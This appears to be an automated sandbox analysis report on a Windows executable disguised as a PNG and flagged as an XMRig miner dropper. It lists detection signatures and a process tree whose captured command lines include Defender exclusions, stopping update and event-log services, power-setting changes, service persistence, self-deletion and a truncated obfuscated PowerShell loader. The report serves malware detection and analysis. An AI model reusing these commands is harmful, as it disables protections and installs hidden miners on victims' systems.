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Windows
Analysis Report
0Ty.png.exe
Overview
General Information
Detection
Xmrig
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
Suricata IDS alerts for network traffic
Yara detected Xmrig cryptocurrency miner
.NET source code contains process injector
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Detected Stratum mining protocol
Found strings related to Crypto-Mining
Found suspicious powershell code related to unpacking or dynamic code loading
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs new ROOT certificates
Loading BitLocker PowerShell Module
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Self deletion via cmd or bat file
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Uses powercfg.exe to modify the power settings
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- 0Ty.png.exe (PID: 7416 cmdline:
"C:\Users\ user\Deskt op\0Ty.png .exe" MD5: 3CAE1F11044D2CA787824610A40F1696) - powershell.exe (PID: 7428 cmdline:
C:\Windows \system32\ WindowsPow erShell\v1 .0\powersh ell.exe Ad d-MpPrefer ence -Excl usionPath @($env:Use rProfile, $env:Progr amData) -E xclusionEx tension '. exe' -Forc e MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7436 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7656 cmdline:
C:\Windows \system32\ cmd.exe /c wusa /uni nstall /kb :890830 /q uiet /nore start MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7672 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wusa.exe (PID: 7740 cmdline:
wusa /unin stall /kb: 890830 /qu iet /nores tart MD5: FBDA2B8987895780375FE0E6254F6198) - sc.exe (PID: 7664 cmdline:
C:\Windows \system32\ sc.exe sto p UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 7680 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7756 cmdline:
C:\Windows \system32\ sc.exe sto p WaaSMedi cSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 7764 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7808 cmdline:
C:\Windows \system32\ sc.exe sto p wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 7816 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7856 cmdline:
C:\Windows \system32\ sc.exe sto p bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 7864 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 7904 cmdline:
C:\Windows \system32\ sc.exe sto p dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 7912 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 7952 cmdline:
C:\Windows \system32\ powercfg.e xe /x -hib ernate-tim eout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 7968 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 7960 cmdline:
C:\Windows \system32\ powercfg.e xe /x -hib ernate-tim eout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 7984 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 7976 cmdline:
C:\Windows \system32\ powercfg.e xe /x -sta ndby-timeo ut-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 8000 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powercfg.exe (PID: 7992 cmdline:
C:\Windows \system32\ powercfg.e xe /x -sta ndby-timeo ut-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705) - conhost.exe (PID: 8028 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - dialer.exe (PID: 8008 cmdline:
C:\Windows \system32\ dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93) - sc.exe (PID: 8048 cmdline:
C:\Windows \system32\ sc.exe del ete "HGLZS DMZ" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 8088 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 8176 cmdline:
C:\Windows \system32\ sc.exe cre ate "HGLZS DMZ" binpa th= "C:\Pr ogramData\ fimdesrsue lr\weiuemy rzjra.exe" start= "a uto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 8184 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 3704 cmdline:
C:\Windows \system32\ sc.exe sto p eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 2416 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - sc.exe (PID: 5356 cmdline:
C:\Windows \system32\ sc.exe sta rt "HGLZSD MZ" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - conhost.exe (PID: 4908 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 4076 cmdline:
C:\Windows \system32\ cmd.exe /c choice /C Y /N /D Y /T 3 & De l "C:\User s\user\Des ktop\0Ty.p ng.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3064 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - choice.exe (PID: 7312 cmdline:
choice /C Y /N /D Y /T 3 MD5: 1A9804F0C374283B094E9E55DC5EE128) - dllhost.exe (PID: 8008 cmdline:
C:\Windows \System32\ dllhost.ex e /Process id:{cf3d95 db-0758-4a 82-bfdc-72 f769e75e83 } MD5: 08EB78E5BE019DF044C26B14703BD1FA) - winlogon.exe (PID: 552 cmdline:
winlogon.e xe MD5: F8B41A1B3E569E7E6F990567F21DCE97) - dllhost.exe (PID: 3228 cmdline:
C:\Windows \System32\ dllhost.ex e /Process id:{0efb55 d5-e8e1-4b c9-b3c4-28 c83a2f4e5a } MD5: 08EB78E5BE019DF044C26B14703BD1FA) - svchost.exe (PID: 364 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s g psvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - svchost.exe (PID: 356 cmdline:
C:\Windows \System32\ svchost.ex e -k Local ServiceNet workRestri cted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - lsass.exe (PID: 628 cmdline:
C:\Windows \system32\ lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A) - svchost.exe (PID: 920 cmdline:
C:\Windows \system32\ svchost.ex e -k DcomL aunch -p - s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A) - dwm.exe (PID: 988 cmdline:
"dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)
- powershell.exe (PID: 8168 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.EXE "f unction Lo cal:CKtjhr wjgtVV{Par am([Output Type([Type ])][Parame ter(Positi on=0)][Typ e[]]$OBERl oAcZJvOcu, [Parameter (Position= 1)][Type]$ NRdDEuXiTK )$iAHAMhdu ySN=[AppDo main]::Cur rentDomain .DefineDyn amicAssemb ly((New-Ob ject Refle ction.Asse mblyName(' '+'R'+''+[ Char](101) +''+[Char] (102)+''+' l'+''+'e'+ ''+'c'+'t' +'e'+''+[C har](100)+ ''+[Char]( 68)+''+'e' +'l'+[Char ](101)+''+ [Char](103 )+'a'+[Cha r](116)+'' +'e'+'')), [Reflectio n.Emit.Ass emblyBuild erAccess]: :Run).Defi neDynamicM odule(''+[ Char](73)+ ''+[Char]( 110)+'M'+[ Char](101) +'mor'+[Ch ar](121)+' '+[Char](7 7)+''+'o'+ 'dul'+'e'+ '',$False) .DefineTyp e(''+[Char ](77)+''+' y'+'De'+[C har](108)+ ''+'e'+''+ [Char](103 )+''+[Char ](97)+'t'+ 'e'+''+[Ch ar](84)+'' +'y'+'p'+' e'+'',''+[ Char](67)+ ''+[Char]( 108)+'as'+ [Char](115 )+''+[Char ](44)+''+[ Char](80)+ ''+[Char]( 117)+''+[C har](98)+' '+'l'+''+' i'+'c,'+[C har](83)+' e'+'a'+''+ [Char](108 )+''+'e'+' '+[Char](1 00)+''+[Ch ar](44)+'' +[Char](65 )+'nsiC'+[ Char](108) +'a'+[Char ](115)+''+ [Char](115 )+''+','+' '+'A'+''+[ Char](117) +''+'t'+'' +[Char](11 1)+'Cla'+' s'+''+'s'+ '',[Multic astDelegat e]);$iAHAM hduySN.Def ineConstru ctor(''+'R '+''+'T'+' '+[Char](8 3)+''+'p'+ ''+[Char]( 101)+'c'+[ Char](105) +'a'+[Char ](108)+''+ [Char](78) +'a'+[Char ](109)+''+ [Char](101 )+''+[Char ](44)+''+[ Char](72)+ ''+[Char]( 105)+''+[C har](100)+ ''+[Char]( 101)+''+'B '+''+[Char ](121)+''+ [Char](83) +''+[Char] (105)+'g'+ [Char](44) +'P'+[Char ](117)+''+ 'b'+''+[Ch ar](108)+' i'+[Char]( 99)+'',[Re flection.C allingConv entions]:: Standard,$ OBERloAcZJ vOcu).SetI mplementat ionFlags(' '+'R'+'u'+ 'n'+''+[Ch ar](116)+' '+[Char](1 05)+''+[Ch ar](109)+' '+[Char](1 01)+''+',' +''+[Char] (77)+''+'a '+''+[Char ](110)+''+ [Char](97) +'ged');$i AHAMhduySN .DefineMet hod('I'+[C har](110)+ 'v'+'o'+'' +[Char](10 7)+'e',''+ [Char](80) +'ub'+'l'+ ''+[Char]( 105)+''+[C har](99)+' '+[Char](4 4)+''+[Cha r](72)+''+ 'i'+''+'d' +''+'e'+'' +[Char](66 )+''+'y'+' '+'S'+''+[ Char](105) +''+[Char] (103)+''+[ Char](44)+ ''+[Char]( 78)+''+[Ch ar](101)+' '+'w'+''+[ Char](83)+ ''+'l'+''+ [Char](111 )+'t'+[Cha r](44)+''+ [Char](86) +''+[Char] (105)+'r'+ [Char](116 )+'u'+'a'+ ''+[Char]( 108)+'',$N RdDEuXiTK, $OBERloAcZ JvOcu).Set Implementa tionFlags( 'Ru'+[Char ](110)+''+ [Char](116 )+''+[Char ](105)+''+ 'm'+'e'+', '+''+[Char ](77)+'ana g'+'e'+''+ 'd'+'');Wr ite-Output $iAHAMhdu ySN.Create Type();}$q ragMIYqXns dW=([AppDo main]::Cur rentDomain .GetAssemb lies()|Whe re-Object{ $_.GlobalA ssemblyCac he -And $_ .Location. Split('\') [-1].Equal s('S'+'y'+ ''+'s'+'te '+[Char](1 09)+''+[Ch ar](46)+'' +[Char](10 0)+''+[Cha r](108)+''